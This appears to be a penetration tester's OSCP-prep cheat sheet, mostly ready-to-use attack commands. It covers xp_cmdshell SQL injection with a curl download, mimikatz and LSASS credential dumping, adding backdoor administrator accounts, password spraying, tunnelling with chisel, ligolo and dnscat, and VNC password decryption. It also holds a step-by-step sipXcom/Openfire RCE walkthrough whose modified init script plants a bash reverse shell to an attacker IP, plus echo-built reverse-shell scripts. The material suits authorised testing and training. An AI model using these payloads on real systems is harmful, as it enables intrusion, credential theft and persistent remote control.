'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs && ping -n 6 127.0.0.1'; --
# Execute a shell
'; exec master..xp_cmdshell ' curl http://192.168.45.161:33333/2.txt -o C:\ProgramData\2.txt '; --
Note: Once xp_cmdshell is confirmed, writing a file is not required; it provides CMD execution.
It can run many commands, such as downloading and executing a file with curl. Writing a file may be the worse choice.
|
MSSQL statements
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!
python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:[email protected] -windows-auth
-- List all databases
SELECT name FROM master.sys.databases
GO
-- Switch databases
USE databasename
GO
-- List all tables in the current database
SELECT name FROM sysobjects WHERE xtype = 'U'
GO
-- View the contents of a table
SELECT * FROM tablename
GO
|
Connecting to MSSQL with PowerShell
1
2
3
| $sql = "Server=10.10.132.142;Database=master;Integrated Security=True;"
$conn = New-Object System.Data.SqlClient.SqlConnection($sql)
$conn.Open()
|
Reference: https://blog.csdn.net/kk185800961/article/details/52513640
The one-liner below is enough to run SQL statements. If it does not work, check the reference above.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| $cmd.CommandText = "SELECT name FROM master.dbo.sysdatabases"; $reader = $cmd.ExecuteReader(); while($reader.Read()){Write-Host $reader[0]}; $reader.Close()
# Enable xp_cmdshell
$cmd.CommandText = "sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE"; $cmd.ExecuteScalar()
# Execute a system command
$cmd.CommandText = "EXEC xp_cmdshell 'whoami'"; $cmd.ExecuteScalar()
# Current user
$cmd.CommandText = "SELECT SYSTEM_USER"; $cmd.ExecuteScalar()
# Whether the current user is sysadmin
$cmd.CommandText = "SELECT IS_SRVROLEMEMBER('sysadmin')"; $cmd.ExecuteScalar()
# Current user's database permissions
$cmd.CommandText = "SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()"; $cmd.ExecuteScalar()
# Server-level permissions
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'SERVER')"; $cmd.ExecuteScalar()
# Database-level permissions
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'DATABASE')"; $cmd.ExecuteScalar()
# SQL Server version
$cmd.CommandText = "SELECT @@version"; $cmd.ExecuteScalar()
# Server name
$cmd.CommandText = "SELECT @@SERVERNAME"; $cmd.ExecuteScalar()
# Current database
$cmd.CommandText = "SELECT DB_NAME()"; $cmd.ExecuteScalar()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| MSSQL privilege-escalation technique
This MSSQL privilege-escalation method uses IMPERSONATE permission:
First, check whether another user can be impersonated:
-- Query users that can be impersonated
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
The hrappdb-reader user can be impersonated
Perform impersonation:
EXECUTE AS LOGIN = 'hrappdb-reader'
Successful impersonation grants hrappdb-reader permissions and access to the hrappdb database
|
64.mimikatz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
| # Mimikatz one-line execution command
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe /c "privilege::debug" /c "token::elevate" /c "lsadump::sam"
mimikatz "privilege::debug" "token::elevate" "lsadump::sam"
# Extract all credentials
lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache
mimikatz.exe "lsadump::sam" "privilege::debug" "sekurlsa::msv" "lsadump::secrets" "lsadump::cache" "exit"
# Extract all logon credentials
mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Or extract domain-administrator credentials specifically
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /user:administrator" "exit"
# Extract potentially available usernames and passwords
mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"
# If running as administrator, try retrieving tickets from the current computer
Using the sekurlsa module (from LSASS memory):
# From the running LSASS process
sekurlsa::tickets # View all tickets
sekurlsa::tickets /export # Export all tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"
# From a dump file
sekurlsa::minidump lsass.dmp # Load the dump
sekurlsa::tickets # View tickets in the dump
Using the kerberos module (from the current session):
powershellCopy# View tickets
kerberos::list # List tickets in the current session
kerberos::tgt # View the current TGT
kerberos::purge # Purge all tickets
# Export tickets
kerberos::list /export # Export all tickets
# Tickets are exported as .kirbi files by default
# Ticket operations
kerberos::ptt ticket.kirbi # Inject a ticket (Pass the Ticket)
# Domain-controller synchronization with DCSync
.\mimikatz.exe
lsadump::dcsync /user:DC01\web_svc
lsadump::dcsync /user:corp\Administrator
|
65.Domain Admin Login History
1
2
3
4
5
6
7
8
9
10
11
12
13
| # View domain-administrator logon sessions
query user /server:localhost
# Check logon history in the registry
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
# Create an LSASS dump
procdump.exe -ma lsass.exe lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp
# Then analyze it with Mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
|
66.Domain Information Gathering
1
2
3
4
5
6
| # View domain controllers
nltest /dclist:medtech.com
# Or
nslookup -type=SRV _ldap._tcp.medtech.com
nslookup -type=SRV _gc._tcp.medtech.com
|
67.ligolo-ng
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3
Attacker machine
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
Target machine
.\agent.exe -connect 192.168.45.184:11601 -ignore-cert
Configure routing
sudo ip route add 10.10.174.0/24 dev ligolo
session # Show all available sessions
session list # List all sessions
session <ID> # Select a specific sessionifconfig # Show network-interface configuration
info # Show current-session information
listener_list # Show all listeners
bashCopystart # Start the selected session
stop # Stop the current session
|
68.Windows: Add a User to the Remote Desktop Users Group
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| #Enable Remote Desktop
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
cmd /c net user gesila Admin@123 /add
cmd /c net localgroup Administrators gesila /add
cmd /c net localgroup "Remote Desktop Users" gesila /add
# Domain format
xfreerdp /u:medtech.com\\joe /p:Flowers1 /v:192.168.170.121 +clipboard /drive:data,/data /workarea
# Local format
xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea
Reference the file as follows
xfreerdp file.rdp /d:skylark /u:kiosk /p:'XEwUS^9R2Gwt8O914'
|
69.windows_history
1
| C:\Users\wario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
|
70.powershell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| $pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
Enter-PSSession -ComputerName CLIENT02 -Credential $cred
Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred
New-PSSession -ComputerName CLIENT02 -Credential $cred
New-PSSession -ComputerName 172.16.131.83 -Credential $cred
# 1. Enter an existing session by session ID
Enter-PSSession -Session (Get-PSSession -Id 18)
# 2. Or use ComputerName to create and enter a new session directly
Enter-PSSession -ComputerName CLIENT02 -Credential $cred
# List all sessions
Get-PSSession
# Remove a session
Remove-PSSession -Id 18
# Disconnect a session without removing it
Disconnect-PSSession -Id 18
# Reconnect a session
Connect-PSSession -Id 18
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| #
icacls .\auditTracker.exe
# View detailed permissions
Get-Acl .\auditTracker.exe
# Run with elevated privileges
sc.exe start audtiTracker
sc.exe qc auditTracker
# View the privileges under which the file runs
Start-Process .\auditTracker.exe -Verb RunAs
Get-Service auditTracker | Select-Object *
# View services
Get-Service "auditTracker"
|
1
2
3
4
5
6
| schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select TaskPath,TaskName
schtasks /query /tn "TASK_NAME" /fo LIST /v
$task = Get-ScheduledTask -TaskName "TASK_NAME"
$task | Select *
|
71.Domain Enumeration
I’ve used both of these for a long time, but some parameters differ between versions, so I’m writing them all down here.
1
2
3
4
5
6
7
8
9
10
11
12
13
| crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success
# crackmapexec has delay issues and jitter causes errors; netexec works better
netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5
Sometimes "Connection Error: Error while reading from remote" requires manual verification
# Full arguments; a domain can be specified
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
# https://github.com/ropnop/kerbrute/releases
# For Kerberos brute forcing
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
This can run on a domain member host
|
72.Other Uses for Vulnerabilities
1
2
3
4
5
6
7
| # Read the identity of the user running the program
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ
keepass2john Database.kdbx > 1.txt
keepassxc Database.kdbx
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
73.IMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| IMAP commands
# Log in first
a001 LOGIN [email protected] DPuBT9tGCBrTbR
# List all mailboxes
a002 LIST "" "*"
# Select the inbox
a003 SELECT INBOX
# View messages
a004 FETCH 1:* FULL
# View status
a005 STATUS INBOX (MESSAGES)
# List all folders
a006 LSUB "" "*"
|
74.Library-MS File Attack
https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262
https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df
1
| wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav
|
75.postgres
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| https://www.cnblogs.com/renhaoblog/p/15035230.html
psql -h localhost -p 5432 -U postgres
# Specify the database name (the default is the postgres database)
sudo /usr/bin/psql postgres
# Or
sudo -u postgres /usr/bin/psql postgres
# Or use a connection string
sudo /usr/bin/psql "postgresql:///postgres?user=postgres"
CREATE ROLE root WITH SUPERUSER LOGIN;
sudo psql -U postgres
|
76.Windows Services
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| # CMD commands
sc query # Query basic information for all services
sc query state=all # Query services in every state
sc qc <SERVICE_NAME> # Query detailed configuration for a specific service
sc stop <SERVICE_NAME>
sc start <SERVICE_NAME>
Identify the service process
tasklist | findstr GPGService
Stop it
taskkill /F /IM GPGService.exe
# PowerShell commands
Get-Service # View all services
Get-Service | Where-Object {$_.Status -eq "Running"} # View running services
Get-Service -Name "SERVICE_NAME" # View a specific service
# List all services and filter key information
sc query state= all | find /i "SERVICE_NAME" # First obtain all service names
# Then iterate over each service name and query its configuration
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "BINARY_PATH_NAME"
# Or find services running as LocalSystem
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "SERVICE_START_NAME"
Get-WmiObject win32_service | Select-Object Name, PathName, StartName
sc query type= service | findstr /i "dev"
|
77.Windows DLL/EXE Search-Order Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| When a service path contains spaces and is unquoted, Windows searches for executables in this order:
CopyC:\Skylar.exe
C:\Skylar\Development.exe # This is why the exploit succeeded!
C:\Skylark\Development Binaries.exe
C:\Skylark\Development Binaries 01.exe
C:\Skylark\Development Binaries 01\DevService.exe
In this case:
The service path is: C:\Skylark\Development Binaries 01\???????.exe
When Windows encounters an unresolvable filename (?????), it searches in the order above
Development.exe was placed in C:\Skylark\
This matches the second location in the search order
Key vulnerability conditions:
The path contains spaces
The path is not quoted
Windows automatically resolves the path
|
78.TFTP (UDP)
I’d used this service on VulnHub before but never took notes. The catch is that there is no command like dir, so finding files is entirely guesswork.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # Enter TFTP interactive mode
tftp 192.168.214.222 69
# In interactive mode:
binary # Set binary transfer mode
get file # Download a file
put file # Upload a file
# Download a file
atftp -g -r filename 192.168.214.222 69
# Upload a file
atftp -p -l localfile 192.168.214.222 69
# Download a file
tftp 192.168.214.222 -c get remotefile.txt
# Upload a file
tftp 192.168.214.222 -c put localfile.txt
Configuration file
cat /etc/xinetd.d/tftp
https://nmap.org/nsedoc/scripts/tftp-enum.html
nmap -sVU -p69 --script tftp-enum 192.168.214.222
/usr/share/metasploit-framework/data/wordlists/tftp.txt
|
This was a really interesting exploit, but getting it to work was an incredibly rough ride. I barely managed to finish this part with help from Discord and Claude. Maybe it only felt interesting once everything was finally done; while I was learning it, I felt like my brain was turning to mush. I was completely lost during the exploitation process and got stuck here for a day and a half. Every step forced me to stop and think, and nothing worked, over and over again. I didn’t yet have a solid grasp of the exploit itself, so every failed reproduction made things worse. Fortunately, I solved it in the end. If everything had gone smoothly, I probably wouldn’t remember it this well or understand it this deeply. Searching Google for this application turned up nothing but CVE numbers; hardly anyone seemed to be working on the actual exploit.
First, the key reference: https://sploitus.com/exploit?id=1337DAY-ID-38254. This is the only blog post I found that explains how the vulnerability works.
I never found this post through search. I asked around on Discord, but every link people gave me had already been deleted, so the original was gone. This is a backup hosted on another site, and I’ve downloaded a local copy. That was one of the wrong turns I took: the Discord links never opened, and at first I assumed that was simply how it was, only to realize later that the pages had been removed.
That post is the thread running through this entire exploit and contains almost everything you need. If you want to automate the exploitation, you can try https://github.com/AlexLinov/sipXcom-RCE.
I’m doing this manually precisely because the automated approach didn’t work. Next I’ll break down how I reproduced the vulnerability. (Because of the OSCP NDA, a lot of the screenshots will be heavily redacted.)
First, you need credentials. A low-privileged user is enough; where you get them is up to you.
Make sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I’m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.
Make sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I’m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.
Log in as the low-privileged user. The blog explains that you can create a user yourself by clicking create this new account on the server, but I didn’t use that option here.
If you need to go through a proxy, don’t add extra configuration; configuring the proxy unnecessarily can actually make it hang. One tip: if Pidgin freezes with no response after you close and reopen it, run rm -rf ~/.purple/ to delete its configuration, then open it again.
If a pop-up appears, click accept, or you won’t be able to proceed. You also have to fill in Domain, and the corresponding domain and IP must be added to the hosts file; otherwise, the client may not be able to locate the server.
The green indicator is what confirms a successful connection. Anything else means something is wrong with the configuration, possibly including the networking software.
Fill this in to add a chat contact. You can even enter your own account; once it’s filled in, click add.
If nothing appears after adding it, look at the screenshot above and check every option. Only two were selected by default for me. You need all of them enabled to see every user, including people who haven’t accepted the contact request and users who are offline.
Double-click the icon to open the chat window, then build the payload.
1
2
3
4
5
6
7
| First, listen on local port 80
nc -lvnp 80
Enter the following in the chat box
@call abc -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc
|
If everything goes as expected, you’ll get the result shown above. The file contains passwords because it stores chat logs, which may hold something useful, such as an administrator password. Just inspect the contents.
Once you’ve found the administrator password, you can build the exploit. The idea is to use an operation that overwrites /etc/init.d/openfire. When sipXopenfire restarts, it reloads the configuration and invokes the shell script inside it, leading to RCE. One line contains the reverse-shell command; remember to change the IP and port.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
| #!/bin/sh
#
# openfire Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \
# XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora based
# systems.
#
#####
# Begin setup work
#####
# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0
# Check that we are root ... so non-root users stop here.
if [ "`id -u`" != 0 ]; then
echo $0 must be run as root
exit 1
fi
su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"
# Get config.
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire
if [ -f "/etc/init.d/functions" ]; then
FUNCTIONS_FOUND=true
. /etc/init.d/functions
fi
# If openfire user is not set in sysconfig, set to daemon.
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"
# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"
# -----------------------------------------------------------------
# If a openfire home variable has not been specified, try to determine it.
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then
if [ -d "/usr/share/openfire" ]; then
OPENFIRE_HOME="/usr/share/openfire"
elif [ -d "/usr/local/openfire" ]; then
OPENFIRE_HOME="/usr/local/openfire"
elif [ -d "/opt/openfire" ]; then
OPENFIRE_HOME="/opt/openfire"
else
echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"
echo "in /etc/sysconfig/openfire."
exit 1
fi
fi
# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"
# Attempt to locate java installation.
if [ -z "$JAVA_HOME" ]; then
if [ -d "${OPENFIRE_HOME}/jre" ]; then
JAVA_HOME="${OPENFIRE_HOME}/jre"
elif [ -d "/etc/alternatives/jre" ]; then
JAVA_HOME="/etc/alternatives/jre"
else
jdks=`ls -r1d /usr/java/j*`
for jdk in $jdks; do
if [ -f "${jdk}/bin/java" ]; then
JAVA_HOME="$jdk"
break
fi
done
fi
fi
JAVACMD="${JAVA_HOME}/bin/java"
if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then
echo "Error: JAVA_HOME is not defined correctly."
echo " Can not sure execute $JAVACMD."
exit 1
fi
# Prepare location of openfire libraries
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"
# Prepare openfire command line
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"
# Prepare local java class path
if [ -z "$LOCALCLASSPATH" ]; then
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"
else
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"
fi
# Export any necessary variables
export JAVA_HOME JAVACMD
# Lastly, prepare the full command that we are going to run.
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""
#####
# End setup work
#####
start() {
OLD_PWD=`pwd`
cd $OPENFIRE_LOGDIR
PID=$(findPID)
if [ -n "$PID" ]; then
echo "Openfire is already running."
RETVAL=1
return
fi
# Start daemons.
echo -n "Starting openfire: "
rm -f nohup.out
su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER
RETVAL=$?
echo
[ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire
sleep 1 # allows prompt to return
cd $OLD_PWD
}
stop() {
# Stop daemons.
echo -n "Shutting down openfire: "
PID=$(findPID)
if [ -n "$PID" ]; then
if [ -n "$FUNCTIONS_FOUND" ]; then
echo $PID > $OPENFIRE_PIDFILE
# delay copied from restart
killproc -p $OPENFIRE_PIDFILE -d 10
rm -f $OPENFIRE_PIDFILE
else
kill $PID
fi
else
echo "Openfire is not running."
fi
RETVAL=$?
echo
[ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire
}
restart() {
stop
sleep 10 # give it a few moments to shut down
start
}
condrestart() {
[ -e "/var/lock/subsys/openfire" ] && restart
return 0
}
status() {
PID=$(findPID)
if [ -n "$PID" ]; then
echo "openfire is running"
RETVAL=0
else
echo "openfire is not running"
RETVAL=1
fi
}
findPID() {
echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`
}
# Handle how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
condrestart)
condrestart
;;
reload)
restart
;;
status)
status
;;
*)
echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
RETVAL=1
esac
exit $RETVAL
|
Save this file locally, for example as openfire.txt. Next, overwrite /etc/init.d/openfire.
@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy
All you need to do is start an HTTP server.
Then enter the command above in the chat window. It will download the file and overwrite the Openfire script.
The only thing left is to restart the service. I’ll describe the route I took, because even the blog never explained where to do this; I had to feel my way through it. Remember to listen on the port specified in the exploit above.
That makes this a pretty detailed walkthrough. Some people on Discord said this was an interesting box, and I agree—though naturally it only felt interesting after I had finished it. After the restart, wait a little while and the root shell should come in.
80.tcpdump
1
| tcpdump -i any udp -w capture.pcap
|
81.BSD
1
2
| This directory traditionally stores home directories for temporary or guest users
/usr/guest/
|
82.Windows Command Line
Permissions
1
2
3
4
5
6
7
8
| First, take ownership of the file:
takeown /f "C:\Users\k.smith\.ssh\id_rsa"
Modify file permissions to gain full control:
icacls "C:\Users\k.smith\.ssh\id_rsa" /grant Administrators:F
Force the permission change:
cacls "C:\Users\k.smith\.ssh\id_rsa" /E /P Administrators:F
|
83.socat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| Use a more verbose listener command:
bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT
Or try logging the communication:
bashCopysocat -v UNIX-LISTEN:/tmp/s,fork "SYSTEM:tee /tmp/socat.log"
You can also try interacting with it:
bashCopy# Listen and display all received data in hexadecimal
socat -x UNIX-LISTEN:/tmp/s,fork STDOUT
Expose a local port through a proxy
# On the target machine, forward local port 8888 to port 33333 on 0.0.0.0
socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888
# Create a reverse tunnel
# On the attacker machine:
socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost
# On the attacker machine:
socat TCP:ATTACKER_IP:33333 TCP:127.0.0.1:8888
|
84.VNC Passwords
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| https://www.cnblogs.com/fczlm/p/17759610.html
VNC password
Configuration path: c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini; decryption tool: https://github.com/jeroennijhof/vncpwd
TightVNC
The encrypted TightVNC password is stored in the registry and requires administrator privileges
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort
Decryption tool: https://github.com/jeroennijhof/vncpwd
RealVNC
The encrypted RealVNC password is stored in the registry and requires administrator privileges.
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
Decryption tool: https://github.com/jeroennijhof/vncpwd
First, create a file containing the raw hexadecimal data:
bashCopy# Use xxd to create a binary file
echo "BFE825DE515A335BE3" | xxd -r -p > vnc.txt
# Then try to decrypt it
./vncpwd vnc.txt
Or try the MSF method:
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt("BFE825DE515A335BE3", fixedkey)
Or try another version of vncpwd:
bashCopygit clone https://github.com/gitdurandal/vncpwd.git
cd vncpwd
make
./vncpwd BFE825DE515A335BE3
vncviewer 192.168.214.220:5900
# Enter password: R3S3+rcH
|
85.chisel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| Server listener (attacker machine)
# Basic server syntax
./chisel server --reverse -p 8000
Client connection (target machine)
# Basic connection
./chisel client ATTACKER_IP:8000 R:LOCAL_LISTEN_PORT:TARGET_IP:TARGET_PORT
Common command examples:
Reverse-proxy a single port
# Server
./chisel server --reverse -p 8000
# Client
./chisel client ATTACKER_IP:8000 R:8001:TARGET_IP:TARGET_PORT
SOCKS proxy
# Server
./chisel server --reverse -p 8000
# Client
./chisel client ATTACKER_IP:8000 R:socks
|
86.A Few Things About echo
1
2
3
4
5
6
7
8
9
10
11
12
| # Using double quotes with echo prevents #!/bin/bash from being written correctly
# Single quotes work correctly
echo '#!/bin/bash' > 1.sh
echo "#!/bin/bash\n" > __fs.sh
# Add -e when escape-sequence interpretation is required
echo '#!/bin/bash' > __fs.sh
echo -e "check_filesystems() {\nbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" > __fs.sh
echo '#!/bin/bash' > 1.sh
echo -e "check_filesystems() {\n\tbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" >> 1.sh
|
87.dnscat (DNS Tunnel)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| # Step 1: On the Kali attacker machine
# Start the dnscat2 server
dnscat2-server feline.corp # feline.corp is a user-defined domain and can be named freely
# Step 2: On the target machine
# Upload dnscat_exercise_client to the target machine
# Run the client and connect to the server
./dnscat_exercise_client feline.corp # Use the same domain
# The command above suits public networks; on internal networks, point DNS to the Kali machine
# On the target machine:
# Use --dns to specify the server IP and port
./dnscat --dns server=<KALI_IP>,port=53
# Or use a more complete command:
./dnscat --dns server=<KALI_IP>,port=53 --secret=<SECRET_VALUE>
# Step 3: Operate from the dnscat2 server on Kali
# View connection status
dnscat2> windows
# Switch to the session
dnscat2> window -i 1
# Configure port forwarding
command (TARGET_HOSTNAME) 1> listen 0.0.0.0:4455 192.168.176.7:445
|
88.Detailed Enumeration Inside a Windows Domain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
| Local LDAP search
PowerView
Tutorial: https://powersploit.readthedocs.io/en/latest/Recon/
# Import
Import-Module .\PowerView.ps1
# Basic domain information
PS C:\Tools> Get-NetDomain
Forest : corp.com
DomainControllers : {DC1.corp.com}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : DC1.corp.com
RidRoleOwner : DC1.corp.com
InfrastructureRoleOwner : DC1.corp.com
Name : corp.com
# Get-NetUser retrieves a list of all users in the domain
PS C:\Tools> Get-NetUser
logoncount : 113
iscriticalsystemobject : True
description : Built-in account for administering the computer/domain
distinguishedname : CN=Administrator,CN=Users,DC=corp,DC=com
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 9/13/2022 1:03:47 AM
name : Administrator
objectsid : S-1-5-21-1987370270-658905905-1781884369-500
samaccountname : Administrator
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
cn : Administrator
whenchanged : 9/13/2022 8:03:47 AM
instancetype : 4
usncreated : 8196
objectguid : e5591000-080d-44c4-89c8-b06574a14d85
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com
dscorepropagationdata : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM}
